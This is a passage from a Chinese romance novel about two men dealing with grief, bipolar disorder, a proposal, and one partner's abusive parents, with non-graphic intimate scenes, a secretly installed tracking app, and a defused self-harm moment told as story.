“嗯,其实有护工,但我不放心。”医院的床很小,季一南接近一米九,根本不够他睡的。晚上又有护士查房,一个月来季一南几乎没睡好过。 可他从未察觉自己精神很差,直到李不凡过来。 打开房间的灯,季一南把李不凡的行李箱放在角落,让他先睡一会儿。 “你呢?”李不凡从行李箱里找出睡衣,坐在床边换。 “去给你买点吃的。”季一南说。 “别买了,我不饿,”李不凡拉了拉衣摆,“过来陪我一起睡。” 季一南走过去,垂头看了李不凡一会儿,靠上前吻了他。 很多话不用说,他知道李不凡也懂的。如果要评选出世界上最明白季一南的沉默的人,李不凡是最唯一的选项。 季一南把李不凡压进床里,他明明很累了,但这好像是他们之间最激烈一次。 他摸到李不凡全身都湿了,大腿的腿根甚至在颤抖。他慢慢地亲吻他,从鬓角的头发,到眼睛和鼻尖。他的嘴唇落在李不凡的颈侧时,李不凡僵硬地往一侧偏了偏头,季一南问他怎么了,他说没事。 房间里拉了窗帘,很暗,季一南用手指探究地摸他耳朵。 往下碰到他耳后,才感觉到凹凸不平。 季一南打开了灯,李不凡闭了下眼,认输地侧过身。 “爬山的时候风雪太大,吹来好多碎石,其中一块刮到了,没什么事。” 灯下,那伤疤的形状像一道闪电。 “你去哪里爬山了?”季一南问。 李不凡说:“曼拉啊。” 他笑,“你是不是很久没上去看过你的云文件了,你点开标本那个文件夹看看。” 季一南没想太多,拿过自己放在床头柜上的手机。 所有标本做完后,他都会统一拍照上传,存在电脑里,再用云平台和各个设备共享以备份。 标本一共99份,差最后的也得怀凑到一百。 而当他点开那个文件夹,里面显示的文件数量已经是一百。 他划到最后,也得怀舒展着细长的白色花瓣,安静地躺在照片中央。 “是你去采的。”季一南说。 “采集标本而已又不难,我就去了,”李不凡把自己手机也打开,给他看照片,“你看,我当时拍的。” 照片很暗,远处乌云遮满天空,李不凡举着一束也得怀,拉开了防风镜,笑得像阳光出现了。 很长时间以来,季一南都觉得自己和那些高山上的植物没什么区别。 他独自安静地待在群山之中,下雨了喝点雨水,有太阳时晒晒太阳。 而李不凡就像山里的一只小松鼠,让他每天都猜不透他会带回来什么,是季一南重复的生活中唯一的变数。 回国以来的每一天,季一南都过得浑浑噩噩,如同被整个世界抛弃。只在李不凡来的时候,才有那么几秒被拉回现实,察觉自己也已经很累。 看着李不凡的脸,季一南疲惫地眨了眨眼,却按下决心:等到一个合适的时间,他要再和李不凡告白一次。 他想自己已经用时间证明,哪怕李不凡是一个病人,他也会爱他。他可以坚持五年,就可以坚持十年二十年,一辈子。 手术那天,李不凡陪着他,两个人坐在长廊冰凉的椅子上,几乎是等待宣判。 整个手术持续了十个小时,季一南只离开过一次,是去帮李不凡买饭。 到傍晚时,医生们从手术室里走出来,说手术完成了,但病人需要立刻进ICU。季一南只匆匆瞥见宋宁一眼,吊着一颗心吃了今天的第一顿饭。 晚上,季一南和李不凡一起回酒店。两个人还没坐下来,他就接到医院的电话:宋宁在抢救,下了病危通知,如果家属实在想念,可以等状态稳定时再见一面。 但当季一南和李不凡跑去医院时,宋宁却已经彻底离开了人世。 父亲走的时候季一南还很小,小到没有记忆,因此不记得痛苦。到母亲离开的时候,他才把这种切肤之痛清清楚楚体会了一次,仿佛他的一生逃不开这样的别离。 那是整个冬天最冷的一夜,李不凡陪着季一南走遍整座城市,走到晨光熹微,买空了所有花店的百合。 到次年初春,季一南的状态才稍稍好了一点。李不凡想带他出门散散心,选了惠斯勒滑雪。 季一南在普通人里也算滑得很好,但和李不凡比不了。前三天,李不凡陪他在雪道上玩,第四天,他到缆车等候区正对面的AIRJORDAN悬崖上挑战自由滑。 季一南站在熙攘的人群中,遥远地看着李不凡从树的缝隙中穿越山石。他身轻如燕,双腿仿佛长出翅膀,在熹微晨光中翱翔。无数掌声里他落地,那些来自人群的惊讶、赞叹,也构成这表演中的一环,把属于季一南的目光淹没。 而季一南的确感受到了被淹没的一瞬间,当他在很远的距离之外看向李不凡时,就会产生一种不真实的感觉,好像李不凡始终有自己的路,而他很难同行。 有一刻阳光格外刺眼,季一南抬手挡了挡,原本都打算离开,却听周围的人群突然爆发出惊恐的声音,而后一支小队从侧边出动。等光晕散开,季一南恍惚地认清了眼前发生的事——有人失误了,从悬崖上摔下来,埋进雪里。 当晚扎营时,李不凡看到新闻,告诉季一南那个人已经在医院去世了。 满天星辰下,季一南却惴惴不安。 虽然都是在野外,但他知道他和李不凡的关注点明显不同。李不凡喜欢新鲜刺激的体验,他的视角永远放在自己身上,而季一南更偏爱安静地观察这个世界。 有时他希望李不凡和自己一样,只想做这山坡上的一株草。 柴火噼里啪啦地燃烧着,李不凡在帐篷外接完了电话,弯腰回来的时候,季一南在整理睡袋。 他跪上铺好的地方,可能是看季一南脸色一般,说了一些安慰他的话。 “明天早晨我们一起看日出,我叫你。” 季一南停下了手上的动作,看着李不凡的眼睛。他以前从来没有深想过李不凡有一天真的会出事,但今天他亲眼见到了,想要安慰自己那只是偶然,又很难。 他怕有一天再也见不到这双眼睛。 下一秒,李不凡抬手,用掌心捂住了季一南的双眼。 “我带你来这里是想让你好好放松放松,不是让你担心一些不会发生的事。”李不凡的手摸到季一南裤腰的位置,轻轻往外扯了一下。 平心而论,在亲眼目睹有人从山崖上摔下之前,季一南的确觉得放松。但因为有了后面的事,那点短暂的放松好像也变得感觉不到了。 帐篷里只亮着一盏小灯,季一南什么也看不清,仰起脸亲了亲李不凡的掌心。 “……那我应该想什么?” 李不凡收回手,在季一南腰腹的位置坐下,摘掉了他的皮带。 他缓慢地说:“想我。” 这个季节,惠斯勒还有些冷,帐篷外风声凛冽。季一南怕李不凡会冷,没有让他脱衣服,用长的毯子盖住他光罗的腿。 季一南把李不凡抱得很紧,他单手握住那劲瘦的腰,吻咬着李不凡的唇,一下一下均匀地捣着。呼吸产生的热雾聚集在帐篷里,弄得李不凡皮肤湿了,神色迷离地圈着季一南的脖子,最后趴在他的肩膀上轻轻出气。 此刻一点也不觉得冷了,季一南抽了纸,仍然抱着李不凡,慢慢给他清理。差不多擦干净以后,又给李不凡揉了揉腿:“这么坐着累吗?换个姿势。” 李不凡就转了身,收回跨在季一南腰两侧的腿,窝进他怀里。 “想抽烟,今天一根没碰。”李不凡嗓子有些哑,反手在衣服堆里找烟盒。但帐篷里太黑,他没摸到,季一南就弯腰帮他找。 他们抽的烟都不烈,只是解解馋。季一南抖出一根,放进李不凡嘴唇间,替他点好了。 烟草的味道缓缓释出,李不凡却坐起来,拉开帐篷顶的一层布料,露出满天星空,羽毛般的雪片细细洒在透明的帐篷顶,在一盏昏暗的灯上飞着,让季一南想到小时候下了晚自习回家的那段路。 两个人都躺下来,当视野有限的时候,人反而会觉得自己渺小。闪烁的星星密密麻麻散布在漫无边际的夜空中,此时此刻季一南感受到了这种渺小。 李不凡又吸了一口烟,慢慢地说:“一哥,这个世界上很多事情是你我拼尽全力也无法改变的,比如我出生在什么样的家庭,比如我的病,比如你妈妈的去世……再说得抽象一些,一个人讨厌谁,爱上谁,或许都由不得自己。大多数时候我们只能选择接受一个结果,虽然明知这一点,有的事大家都还是会选择去做,那是因为过程比结果还重要。 “比如说,我想如果你真的有机会做选择,还是会选宋阿姨做你的妈妈。” “……嗯。”季一南望着天。 “我一直都相信,世界上的一切都有灵,不管是花草、小动物,还是人类,他们都存在于这个循环,是永远不会消散的,哪怕一个人去世了,变成一抔土,那也这个世界的一抔土,能养出漂亮的小草、小花。” 李不凡很轻地笑了下:“你可能会觉得我有这种想法很奇怪吧,是不是为了安慰你。但我真的是这样想的,我们永远无法脱离这个世界,有着同样的归宿。所以也许,宋阿姨就是现在落下的雪花,她落到帐篷上,很快就化了,又变成一滴水,然后变成这里的一朵花。 “季一南,哪怕人死去,也会永远活着。所以你要爱这个世界,你爱它,就是在爱你的妈妈。” 季一南知道李不凡想说什么,他只是一时沉浸在李不凡说的雪花里走不出来,他想象着其中一朵就是宋宁。宋宁不论什么时候都是爱美的,到了这时,她可能真的会喜欢李不凡说的这些,先做一片轻盈漂亮的雪花,再变成真正的花。 过了片刻,季一南靠上李不凡的肩膀。他窸窸窣窣地把脸埋进李不凡的颈窝,手臂跨过他的身体,紧紧地抱着他。很快,季一南也感觉李不凡抱住了自己,他摸着自己的头发,轻声和自己说,没关系,可以哭,想到这件事,哭多少次都没关系。 季一南真的掉了眼泪,沉浸在回忆里,时间就变得很模糊,最后他脑子有些放空,一看李不凡的手指,那根烟已经空掉了。李不凡吻了吻他的额头,让他好好睡一觉。 次日清晨,季一南是在睡梦中被李不凡叫醒的。 他们带着滑雪板,去不算陡峭的山坡上慢慢朝着日出的方向滑。李不凡在前面带路,被清晨的薄雾笼罩。他们在树林间穿梭,稀薄的阳光顺着树叶的缝隙铺撒,仿佛走在光明的人间。 直到滑到开阔的平台,橘红的日光从属于太阳的圆形轮廓中喷涌而出,李不凡停了板,跑向不远处的悬崖,沐浴清风和阳光。 “我是不是没有特别认真地和你说过我为什么会喜欢这些运动,”李不凡望着成片的树林,“不是因为它们有多难,或者玩好了有多帅,也不只是想锻炼身体。 “我是在否定里成长起来的,从小到大我都在想,我能不能做好这件事,我能不能做好那件事。这看似是个选择题,但我会下意识告诉自己我不能。可是当我站在悬崖边,当我站在滑雪板上,当我已经下潜三十米五十米,我脑子里只有如何往前。那是我一生中为数不多只想前进的时刻,当我只有一条路可以走,我反而感受到了真正的自由。 “这些看起来很危险的事,在不断跟我说,你可以的,你可以翻过这座山,游过这片海,在山的那边海的那边,还有无数未知的、美丽的景色在等你,所以你要坚持,要不断挑战自己,为了见到那些风景。” 冷风迷眼,他眨了眨眼睛,“在这个世界上,我只想被一个人理解。我知道你会担心我,我也理解你的担心,但是一哥,我的痛苦……不是你能治好的,也不应该由你来背负。只有在我投入这些事的时候,我才可能忘记掉它们。 “我比谁都想变好……”看着季一南的脸,李不凡说不下去了,就偏过头。 季一南靠上前把他抱住,说我知道,我知道……你每一天都在更好。无意间晨风吹得他眼睛红了。 从知道李不凡的病情开始,他很少缺席李不凡去医院治疗的时间。 他知道心理疾病不是要有爱这么简单,那其实和一场心理上的癌症没什么区别。季一南甚至曾经了解,躁郁症也许永远没有痊愈的那天,只是有机会得到控制。 但他还是奢望能看到李不凡几乎健康的时候,为此他已经等了很多年。 第36章 博士时期,季一南换了专业,就读植物学。 从那以后,他爬山的次数陡然上升。每每到了空旷的山林间,他总能安静地思考。他很感谢李不凡以前总是带他爬山,尽管有时候他并没有那么擅长,甚至还拖过李不凡的后腿。但他确确实实从自然里汲取过力量,一种他从没感受过的坚定的力量。 做研究的那四年无疑是痛苦的,可这痛苦之中,有过季一南最好的两年。 李不凡搬到他实验室附近的公寓里,除了需要外出工作的时候,很少会离开。 公寓虽然还是两室一厅,但只有一个房间在使用,另一个房间完全成了李不凡的工作间,堆满他的东西。 同时,据李不凡的心理医生所说,他的情况越来越稳定,几乎可以正常地工作生活了。 就连季一南也开始幻想,他顺利地在四年内拿到博士学位,毕业典礼上,几千人聚集的大会堂里,他和李不凡可能只待在一个角落。季一南捧着一束其实是送给李不凡的花,再和他说一次喜欢。之后李不凡会接受他的表白,他们就像现在这样永远生活在一起,在异国他乡有一个属于自己的小房子,和完全不受打扰的生活。 可是变故又来得很快。 首先察觉李不凡的变化,是在季一南博士的第三年。 李不凡接的工作多了起来,时常连续几个星期出差,满身疲惫地回来。 他的单子一直很多,但为了好好休息,李不凡不会让自己太忙,突然的快节奏引起了季一南的注意。但只有这个证据又还不足以证明李不凡的生活有什么异常。 某天夜晚,大约是九点左右。季一南写论文写得失了神,才刚刚开始给自己准备晚餐,公寓的门忽然被人打开。 下午已经去机场,说要飞到A城的李不凡拿着一支玫瑰出现在门口,还被室外的雨淋得很湿。 虽然是夏天,但淋雨也不好受。季一南错愕片刻,走上前替他拿过行李,问他:“飞机延误了吗?” 李不凡摇摇头,表情好像是经过了一番调整,才控制得不是特别难看。 “可能最近太忙,我记错时间了,”李不凡无奈地笑了下,“我去了机场,才发现飞机是下周的。我走到机场外面给助理打电话确认时间,但是突然下雨了,回去的路上……” 李不凡举了举手里的花,塞给了季一南,“路过一个卖花的阿姨,我想虽然是我记错了时间,但总不能白来一趟,就买了一朵,送给你。” 季一南听完,先是心疼李不凡,之后就跟着他笑了笑。 “正好我的论文快结束了,这个星期还能多陪你,你要是不飞走,我们明天……后天,天晴的时候去湖边钓鱼散步好了。” 听到季一南的建议,李不凡好像觉得错过这一次飞机也不是那么难以接受,小声地说了好,就进屋去换衣服。 季一南帮他把行李箱表面的水擦干,在等李不凡洗澡的时间,重新做了两人份的晚餐,把简单的沙拉改成色香味俱全的中餐。 等李不凡出来,刚好能吃上热气腾腾的饭菜。 季一南把倒好的饮料推到他手边,委婉地问起李不凡最近为什么这么忙。 “我一直都很忙啊,单子多得吓人,你又不是不知道,”李不凡没看季一南,低头在吃菜,“最近休息好了,没什么事可以做,干脆多接一点,多赚点钱。 “而且你不觉得我们现在住的地方小了一点吗?反正你博士快毕业了,等你毕业之后,也许我们可以买一个小公寓。” 看季一南停了筷子,李不凡又赶紧解释:“你别误会,如果到时候你不愿意,我也不会勉强你。我们继续做室友也不是不可以。” “我都听你的。”季一南说。 他沉浸在李不凡刚刚为他搭建的美妙未来里,再想到李不凡的忙碌时,已经失去了最初的那种敏锐。 但可能是夏天慢慢过去,从季一南到威斯林顿以来天气最糟糕的一个秋天到了,李不凡的病情忽然急转直下,变得奄奄一息。 他不再睡在季一南的房间,在小客房里整理出一张床,每天被摄影器材和画板包围,除了吃饭和必要的沟通之外不再说话,比之前都沉默地度过一个格外漫长的郁期。 季一南察觉不对,某天等李不凡睡着,他潜进卧室,在他手机里装好了特意从朋友的实验室要来的定位软件。 现在想来,这个方式的确有不妥,但为了避免产生更大的代价,季一南虽然有所内疚,也并不后悔。 偷偷做完这一切,他在李不凡的床头坐了片刻。 在这个郁期,李不凡和季一南交流很少,季一南也会不习惯。哪怕他们住在同一个屋檐下,每天都能看见,但不和李不凡亲密,季一南也会想他,会觉得他们之间有距离。 这种距离感让季一南难受,可他不想给李不凡压力,只好在夜深人静的时候悄悄和他靠得近一些。 安装定位软件后,季一南观察了李不凡很长一段时间。 郁期时他几乎不会出门活动,偶有几次走得较远,也只是到季一南学校外的小花园。他喜欢傍晚时到那边,步行速度远远低于正常走路的人,每每看到属于李不凡的那个小点移动,季一南都会想象他缩在衣服里慢慢散步的样子。 等走到花园里,李不凡会坐在离湖最近的长椅上,停留很长时间。 季一南的实验室离花园并不算远,偶尔他会看好时间离开,假装下楼与李不凡偶遇,再顺便和他牵着手回家。 观察了小半个月,季一南都没有发现任何不同寻常的事情。 直到有一天,李不凡冒着大风的天气,打车去了离公寓很远的一个甚至有些危险的街区。 季一南不太放心,很快也跟了上去。 街区上游荡着无数的流浪汉,空气中似乎也漂浮着不同寻常的难闻气息。 当季一南到达的时候,李不凡正好从一家店铺走出来,很快又上了车。 季一南走到门边,从店铺的名字大概辨认这是一家收售二手的店铺。 他以为李不凡是来这里买什么东西的,进去问了以后才知道,他刚刚卖了一台相机。 季一南没来得及细想,就从老板那里买下李不凡卖掉的相机。那台相机很旧了,几乎是李不凡才上大学的时候买的,虽然型号有些过时,但也意味着李不凡的很多回忆。 很久之前,李不凡曾经和季一南说过,他觉得哪怕只是相机、画笔,这样看起来可以随手换掉的东西,还是代表了很多。 李不凡不会轻易就卖掉。 “他可能很缺钱吧,低价卖给我的,你要是想要,也低价买走好了。”老板大方地说。 季一南点点头,带着李不凡的相机走了。 心中的疑虑还没按下,几日后,季一南竟然发现李不凡挂出了好几副在学校时画的画,并且全都在极短的时间内拍掉了。 李不凡很缺钱,他明确这点。 在没弄清楚的事情的前因后果以前,季一南觉得自己还有更重要的事,就是让李不凡先不要为钱的事情烦心。可他不想伤害李不凡的自尊,他不愿意告诉他一定有他的理由,季一南先腾出了手头空闲的所有钱,全部打进一张新的卡里,在一天晚饭时递给李不凡。 “之前你说毕业后想一起买房子,我后来想了想,也许那算是一种承诺,所以可能我也要做一点什么,”季一南说,“这是我的银行卡,你想用里面的钱做什么都可以。” 李不凡低着眼,让人看不清他的神色。片刻以后,他才抬起脸,手指几乎有些发抖地摁住那张卡,又推回给季一南。 “不用……不要现在就给我。” 季一南没有拿卡,而是用掌心包裹住了李不凡的手背,轻声问他:“最近怎么了?你知道你什么都可以告诉我。” “你知道你什么都可以告诉我”,当季一南说出这句话的时刻,他想起一个说远不远的瞬间。 在香格里拉的天女镜湖边,李不凡和他坦白自己的病。 这一次,李不凡却很敏锐,反问季一南:“你为什么觉得我有事呢?” 季一南心虚地移开视线,他不太擅长说话,要搪塞的时候也想了很久,最后只说出一个算不上借口的接口:“我关心你……” “季一南。”李不凡换上稍重一些的语气,季一南才坦白:“好吧,为了保证你的安全,我……在你手机里装了一个定位软件。” 李不凡很震惊地瞪大了眼,似乎完全没有想过季一南有一天会做这样的事。看到李不凡的眼神,季一南反而很轻地笑了下,说:“怎么了?为了你我什么事情都可以做。” 明明只是一句很普通的话,也许在各种各样的小说里已经出现过几千几万遍,李不凡真实地听到,还是立刻就红了耳朵。 “你删掉。”他把手机递给季一南,季一南不接,他就站起来,走到季一南身边,牵起他很大的手,塞到掌心里。 “季一南,别让我说第二次。” 李不凡假装凶起来的时候,比平常可爱得多。季一南推拒了一会儿,又尝试说服他:“是为了你的安全,我们不说你的病,就说这里,这里比不了国内,本来就可能出现一些我们都没办法掌控的事情。” 虽然有道理,但李不凡还是坚持:“删掉。” 出于尊重,季一南还是照做了。重新拿回手机,李不凡又继续追问他:“你从哪里弄来这种软件的?这么隐蔽。” “我一个师兄那里,他们实验室研究这个,本来是不能随便用的。” “你什么时候装进去的?” “有天你睡着的时候。” 事已至此,季一南还是打算为自己争取一点利益,“你搬回来睡好不好?之前看你郁期很难受,我想你一个人待着可能会好一点,那现在呢,可以回来了吗?” “可以,但你要陪我去坐落日飞车。”李不凡说。 情人大桥是本市的著名景点,连接了两个最热闹的街区。让这里最出名的,不是大桥本身,而是离大桥不远的一处娱乐项目——落日飞车。 据说坐在落日飞车上,能俯瞰整个城市的景色,尤其是在傍晚时分,浅橘色的阳光洒下来,让人联想一切悠闲、轻松、自由的时刻。情侣们结束落日飞车之旅后,还能步行到情人大桥边,挂上随身携带的小绳子,寓意长久。 之所以用“据说”,是因为李不凡和季一南都没有去过。 虽然在威斯林顿七八年,但两个人基本都是朝外跑,很少认真参观本市经典景点。 尽管不知道为什么李不凡会突发奇想,季一南还是很快说:“好啊。” 他想李不凡的郁期可能暂时结束了,说到要去情人大桥,连饭都多吃了一些。 出门的时间恰到好处,季一南没有选择开车,和李不凡一起坐门口的双层巴士,在落日飞车的起点下车。 今天不是什么和情侣有关的节日,排队的人并不算多。季一南牵着李不凡的手,选了第一排的座位。 落日飞车的轨道高架在两座山之间,上升的速度缓慢且平稳。天边的晚霞是橘色、紫色的,比来时路上暗淡。远处的情人大桥车水马龙,山和江水如夜晚的天空,灯火则是闪烁的繁星。 可直到季一南望向李不凡,才真正懂得这一刻的美。晚风里,李不凡的头发飘动着,他的眼睛清明,完完整整映照此刻的天晴,让季一南的心跳变成一支乐曲。 李不凡和季一南说起那个关于情人大桥的故事:“在最后一缕阳光收束时,情人大桥会保佑所有在大桥上许下心愿的有情人。” “怎么证明?”季一南忽然问。 李不凡看向他:“证明什么?” “证明……”季一南还没将心中所想说出口,落日飞车到了最高点,没有什么停顿地往下滑,像超速行驶在公路上。 耳边是同在一趟列车上的乘客的呼喊声,季一南再看向李不凡时,他已露出开朗的笑。他们一头扎进晚霞里,风很柔软像云,季一南在心里补充完刚才没说的话:情人大桥要怎么证明两个人是有情人。 从落日飞车上下来,李不凡在路边的冰淇淋车里买了两只甜筒,他们沿着江边散步,走到情人大桥边,李不凡抬手看了一眼表:“快日落了。” 大桥上零零散散走过一些人,上了桥,李不凡的脚步就变得很慢,好像很不想离开这里,但却和季一南说:“来了这里才发现,原来情人大桥也只是一座桥,没什么特别之处。” “还要多特别呢?”季一南咬了一口冰淇淋,温和地说:“我们一起在桥上吃了一支冰淇淋,对我来说这已经是让今天变得很特别的事情了。” 他这样说,李不凡就慢慢停下来,在季一南眼前站定了,承认道:“特别的是你,不是这座桥。” 季一南才发现,不知何时,李不凡手里的冰淇淋吃得只剩蛋卷,他们也走到了情人大桥的尽头。 在桥面的内侧,一道铁丝网上,密密麻麻挂着各式各样的锁和绳子,不难联想是景点里的常见“许愿方式”。令季一南意外的是,李不凡解掉原本用来包装冰淇淋的一根涂着银粉的细绳,在铁丝网上松松地系了一个蝴蝶结。 “我以为你不信这个。”季一南说。 “是不信啊,”李不凡指了指远处的天,“我只是想把它留在这里,替我看看晚霞。毕竟我没办法见到情人大桥的每一个傍晚。” “那就系得紧一点。”季一南垂眼,把那个蝴蝶结拉紧。 江上风大,蝴蝶结的两根细绳被吹得抖动,像江面的波澜。 季一南再抬眼时,天恰好暗下去。那是无法说明的一个瞬间,就只在转眼,天边的色彩尽数消失,太阳的最后一点轮廓沉入江水。桥面上灯光变得明亮,李不凡拿着快要化掉的冰淇淋,又把季一南系好的蝴蝶结扯下来。 “其实是我想送你一个礼物。”李不凡的手指还沾着冰淇淋的水,有点凉,用那根细的、有些刺的绳子缠住季一南一只手的无名指。 季一南有些懵,一时反应不过来李不凡的意思,只是有些犯傻地、怔怔地看着他。 “我猜,刚才在落日飞车上,你是想问我,情人桥怎么知道两个人是不是有情人,我觉得你说得对,”李不凡笑了,抬起季一南的手,像求婚一样,在他的无名指落下一个很轻的吻,“所以我需要这样证明。” 那晚风大,细长的绳子在季一南的指间胡乱地飞舞,他捧起李不凡的脸,对着他的嘴唇吻上去,完成那场婚礼的最后一个仪式。 行人惊喜的欢呼像喝彩,他们得到天地的祝福。 有一瞬间季一南真的以为,幸福就像只要把蝴蝶结系紧便可以永远看到的晚霞,只要在风中轻轻飘着就能得到。 第37章 对季一南来说,浪漫而疯狂的李不凡他并不陌生。 有时候他觉得心理疾病是上天错误地给人礼物,变成生命中的一场灾难。 几日后,季一南要跟随导师去曼拉山脉的南侧扎营一周。 出发的前一个晚上,李不凡给季一南做了一顿独家晚餐。 “你真的不用我帮忙吗?”季一南坐在岛台上,看李不凡忙碌的背影,忍不住偷偷笑了下。 平常李不凡很少做饭,除了他在山上时会煮一些速食和简单食物以外,在家的时候做饭这件事基本都由季一南承包。今晚他忽然说自己想做,还很早就去超市买好了食材。 简单的番茄鸡蛋汤和素菜都炒好了,锅里就剩下一道可乐鸡翅。加了糖,已经被煮得粘稠的可乐酱汁咕噜咕噜冒着小小的气泡。 “我都很多年没吃过可乐鸡翅了。”李不凡背对着季一南,说。 “没听你说过,我可以学做,应该很简单的。”季一南喝了一口水,正想站起来,被李不凡举着锅铲,隔空指了指:“别来啊,你坐着。” “小时候我换过很多个保姆,我那个时候喜欢喝可乐,但是……我爸我妈觉得可乐喝多了对小孩子不好,不让我喝,我就让保姆天天给我做可乐鸡翅。”李不凡用锅铲划了划,关掉火装盘,端到桌边。 “从小就这么聪明。”季一南夸道。他举起筷子,夹了一只到碗里,直接拿手吃。 “算了吧你,反正我做什么你都夸我,”李不凡看着他,皱了皱眉,小声道,“我也不知道为什么做出来这么黑,我记得以前我吃的那种好像也没有这么黑……” 季一南咬了几口,表情没什么异样,又给李不凡找借口:“应该是国外的可乐不一样吧。” “是吗?”李不凡也尝了一个,但第一口就被苦得眯了眯眼,“这么苦,一哥你怎么不说啊?” 季一南摇摇头:“没觉得苦。” 李不凡无奈地笑笑,一边说好吧好吧,一边搜索附近的餐厅有没有还在营业的。 晚上下了雨,季一南在房间里工作,李不凡没有打扰他,一个人待在客厅。 季一南已经基本准备好在冬季毕业,目前正在申请学校的教师职位,这一整年他的压力前所未有得大。等再抬头时,时间到了凌晨,他站起来伸了个懒腰,推门去客厅时,看见李不凡已经在沙发上睡着了。 电视还在播放,屏幕的光忽暗忽亮,但好在声音不大。季一南压着脚步走过去,弯腰托住李不凡的脖子和腰,尝试把他抱起来。 但几乎是碰到李不凡的一瞬间,他就有了要醒的迹象。季一南抱着他走进房间,听见李不凡在怀里低声说:“你工作完了?今天这么早……” “已经很晚了,你都睡着了。”季一南把他放上床,却被李不凡圈着脖子勾到怀里。 呼吸可闻的极近距离里,季一南看着他的眼睛,问:“干什么?” 李不凡没说话,只是伸长手臂,把房间里很亮的灯关掉了。 周围突然暗下来,季一南的眼前一片漆黑,还没完全适应,先感觉到了李不凡凑近的嘴唇。 当视觉被剥夺,听觉和触觉便更加灵敏。李不凡懒懒的,唇间还带着刚睡醒时的热气,手指慢条斯理地剥着季一南的衣服。 吻了一会儿,季一南和他分开嘴唇,跪坐起来,伸手拉开床头柜,从里面撕了一盒新的。 “上次那盒用完了,这个是超市里刚买的,”季一南撕开一角,“据说是水蜜桃的味道。” 他听到李不凡笑了,弄好之后就靠上去抱住他,一边亲一边问:“笑什么……” “笑你……嗯……”李不凡抓着床单,蜷缩了下身体,“选得很认真。” “嗯,”等他适应,季一南就慢慢懂了起来,“我还有更认真的时候。” 李不凡又笑,但喘气声大了些,他迷迷糊糊地问季一南为什么在床上和别的时候都不一样,季一南问他哪里不一样,他又不讲话了,只用力掐着季一南的手臂。 次日清晨,雾还没有散去,李不凡也熟睡着,季一南就带好行李离开了。 登机之前,他给李不凡发过了消息。关掉手机以后,坐在身边的导师笑着问他:“又在和你男朋友聊天?” 实验室的人都知道他有男朋友,因为李不凡常常在楼下等他回家。季一南摇摇头说:“他还在睡觉,我只是给他发个消息。” “以前我和你师娘谈恋爱的时候,都没你这么甜蜜。我想去她实验室找她,她总不让,说我干扰她工作,”教授笑笑,“诶,那等你博士毕业,你们打算结婚吗?” “主要还是看他的想法,”季一南垂眼说,“不过婚姻也就是一个仪式而已。” 导师拍拍季一南肩膀,调侃道:“听你这么说,我倒是觉得你还是想要这个仪式的。小子,想要就加油啊。” 季一南笑笑。飞机的轰鸣声中,他想到在情人大桥的那个傍晚。 也许他已经得到过那个“仪式”,虽然并不隆重,但同样需要爱,和一个难得的时机。 飞机落地后,当地的研究所接待了他们。 住所信号不好,季一南又早出晚归,一整个星期总共就和李不凡打上三个很短的电话。 好在他们运气不错,提前采集到所有需要的数据。同行的人去吃晚餐,还叫他:“Ian,去吃饭了。” 季一南看了门边一眼,说:“帮我带一份,我把这些数据整理完。” 都知道他急着回去找男朋友,大家笑而不语。 季一南的晚餐最后还是凉得很彻底,他离开研究所时,已经是次日的清晨。 熬了一整夜,最终争取到一个提前回去的时间。季一南坐在机场想了想,还是没有告诉李不凡,想要给他一个惊喜。 季一南降落时是傍晚,他打车到公寓门口,却见楼下停了一辆不熟悉的车。他没想太多,拉着行李箱走到门外,正要按密码解锁,听到屋内传来一个女人的声音。 “李不凡,我们养你那么多年,小时候你喜欢画画又画得一般,我们为了给你找合适的老师花了多少钱,后来你生病,治疗心理疾病的药,每周的心理咨询多少钱你不是不清楚,现在到我们困难了,你就这样视而不见吗? “你以为我想来和你要钱?如果不是我们的投资出了问题,我会向你开口吗?我们早就当你不是我们的儿子了。” 公寓隔音很差,对方说的话一字不差地被季一南听到。他顿了片刻,意识到站在屋内的人是李不凡的妈妈万玫。 “还要多少?”李不凡的声音比他想象中平静,“我所有的画都卖掉了,我这么多年去拍东西赚到的所有钱都给你们了,你说个数。” 他似乎真的在问一个答案:“还要多少你们才会彻底离开我的生活?” 卖相机、卖画,也很久很久没有拿起画笔,原来这才是答案。 季一南站在门外,心脏突突地跳着,手指飞快输入密码。 “这是你欠我们的,多少都是你欠我们的,是我们生下你!” “我懂了,你的意思是我欠你们一条命。” 季一南推开门时,李不凡手里握着一把水果刀,对准了自己的手腕。万玫吓得脸色惨白,僵硬地撑着厨房的岛台一动不敢动,季一南冲上去,在李不凡一潭死水的眼神中轻声对他说:“我回来了,李不凡,把刀放下来。” “一哥……”李不凡很慢地眨了眨眼,泪水不受控制地滚出来,锋利的刀刃仍然贴着皮肤,“对不起啊,一直以来都是我让你失望。” “你没有让我失望过,从来没有,”季一南表情温和,实际冷汗已经下了一身,“我赶了一天工作提前回来的,就想早点见到你,晚上还想好了,我们去新开的中餐厅吃饭,我同学和我说很好吃,我一直没去,就想回来和你一起。 “之前不是说想吃可乐鸡翅吗?上次没做好,这次我们去吃好吃的。” 李不凡掉着眼泪,手慢慢松了,季一南抓住时机,上前握紧他的手腕,把水果刀从他手里掰出来。 “乖,”季一南抱住李不凡,让他靠在自己肩膀,低头吻了吻他的额头,“还有不舒服吗?要不要我陪你去医院,或者睡一会儿。” 李不凡摇了摇头,站在一旁的万玫手机却突兀响起。她接听电话,声音颤抖地问:“谁?” 不知道对方说了什么,万玫表情一变,几乎站不稳。等挂了电话,才空洞地说:“你爸爸来的路上出车祸了,现在在医院。” 到达手术室门口时,李不凡几乎已经失去说话的能力。 他沉默地坐在冰凉的长椅上,过了大约四五个小时,医生才从急诊里出来,宣布李方知没有生命危险,但如果半个月内无法醒来,很有可能永远成为植物人。 听到这样的结果,万玫扶住墙,颤抖着拿出手机,一边拨打电话一边朝外走。可李不凡还是那样坐着,眼神呆滞,对周围的一切没有反应,像一块毫无生命力的木雕。 时间很晚了,季一南怕李不凡饿,走到他身边,单膝蹲下来,碰了碰他的脸。 “我去给你买吃的,你就在这里等我好不好。” 这种状态下李不凡甚至没办法听到吵闹的声音,季一南也没有期待他会给什么回应,只是和一旁的护士说了他的情况,就跑出了医院。 季一南只在医院旁边的便利店买了一点吃的,回去时他在医院外的小花园里碰到正坐在长椅上的万玫。 本来只是瞥了一眼,万玫却忽然说:“李不凡小时候是一个很乖的孩子。我和他爸爸是联姻,我们之间没什么感情,从他出生开始几乎天天吵架。但那时李不凡很懂事,会主动来安慰我,把他喜欢的玩具给我,这个孩子对我来说本来是婚姻中的意外和累赘,可我也有不后悔的时候。 